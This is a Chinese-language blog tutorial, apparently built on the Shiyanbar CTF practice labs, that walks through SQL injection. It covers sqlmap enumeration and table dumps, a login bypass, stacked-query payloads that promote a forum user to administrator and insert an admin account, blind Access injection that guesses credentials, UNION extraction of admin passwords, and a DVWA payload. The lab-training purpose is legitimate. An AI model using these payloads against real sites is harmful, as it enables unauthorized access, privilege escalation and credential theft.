网络安全—Web安全基础

本博客题库来源于 实验吧


使用Sqlmap进行SQL注入

1. 搭建python2.7的环境

2. 启动Sqlmap 连接URL

`python2 sqlmap.py -u"http://ctf5.shiyanbar.com/8/index.php?id=1"`


在这里查看到了该Web服务的容器是用的Apache 后台使用PHP写的,数据库用的是MYSQL

3. 查看MYSQL中所有的数据库

D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" –dbs

可以看到有三个数据库


4.查看数据库中的表

D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" –D my_db--tables

 

这个数据库中有两张表

5.查看表中的列

D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -Tthiskey –columns


可以看到这个表有一列,名字叫做K0y

6.查看表中的行中的详细数据

D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -Tthiskey -C k0y --dump

 

使用AWVS扫描漏洞

1.打开工具,输入要扫描的IP


2.开始扫描


扫描之后发现有SQL注入和CSS跨站攻击的漏洞

3.使用爬虫工具

使用Site Crawler抓取服务器目录下所有的目录结构:


手工SQL注入

1.访问一个有SQL漏洞的站点


2.绕过登录验证

我们想登录必须知道用户名和密码

在后台我们登录的时候,查询的SQL应该这样写:

SELECT user_id, user_type, email FROM users WHEREuser_id = '用户名' AND password = ‘密码’

假如我们提交的表单是admin  和 2’ or 1’

我们查询的SQL就变成了这样:

SELECT user_id, user_type, email FROM users WHEREuser_id = 'admin' AND password = ‘2’ or '1'

要注意由于运算符优先级的问题,我们的SQL被拆成了两个部分:

SELECT user_id, user_type, email FROM usersWHERE user_id = 'admin' AND password = ‘2’) (or '1'

这样不管我们前面的账号密码是什么都被短路了,逻辑恒为真,也就绕过了登录验证,进入了后台

 

论坛经典漏洞渗透

1.首先注册一个账号


这里账号密码是 san 123456

2.测试注入点

使用

账号:san’ and ‘a’ = ‘a

密码:1234567


发现登录失败,但是可以发现我们提交的表单已经插入到了查询的SQL中了

4.提升用户权限

之后我们尝试把我们当前用户提升权限。

在用户名提交的表单的地方,插入提升权限的SQL,密码是正确的密码

';update dv_user setusergroupid=1 where username='san'--


这是虽然显示用户不存在,但是我们正常的登录一下


这时候我们就惊讶的发现我们从一个普通用户变为了管理员了

5.添加管理员,登录后台

下面让我们添加一个管理员账号

san';insert into dv_admin(username,password,flag,adduser)values('san','49ba59abbe56e057','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','san')—

这样我们就在后台创建一个管理员,这个网站就取得了最高权限

 

手工注入Access数据库

1.找到有漏洞的注入点

在url后面添加一个 ’


在url后面添加一个 and 1 = 1

页面正常


在URL后面加入一个 and 1 = 2


经过上面的测试可以发现存在漏洞

2.猜解表名

在url后面添加and exists(select *from admin)

发现页面正常,说明存在这张表


3.猜解列名

在url后面添加and exists(select admin from admin) 和  and exists(select password from admin)

发现页面正常,说明存在这两个列名

4.猜测字段长度

在url后面添加and (select top 1 len (admin) from admin > 1)

如果这时候显示正常,就说明这个数据的长度大于1

然后依次加一,直到页面报错,这时候输入的是5,所以长度就是5


5.猜测字段内容

然后在URL后面添加and (select top 1 asc(mid(admin,1,1)) from admin) > 97

这时候报错,也就是说第一个字符的ASCII码是97 也就是a

6.依次多次操作上面两步,就能猜测出正确的账号和密码

 

联合查询SQL注入

在刚才实验的基础上,我们使用

Order by11 判断字段的数目

Union select1,2,3,4,5,6,7,8,9,10,11 from admin 来判断字段的编号

Union select 1,admin,password,4,5,6,7,8,9,10,11from admin来直接得到管理员的账户和面

 

使用DVWA进行SQL注入

1.Low级别的注入

通过1‘ or ’1’ = ‘1’来遍历数据库当中的元素



  • 7
    点赞
  • 53
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值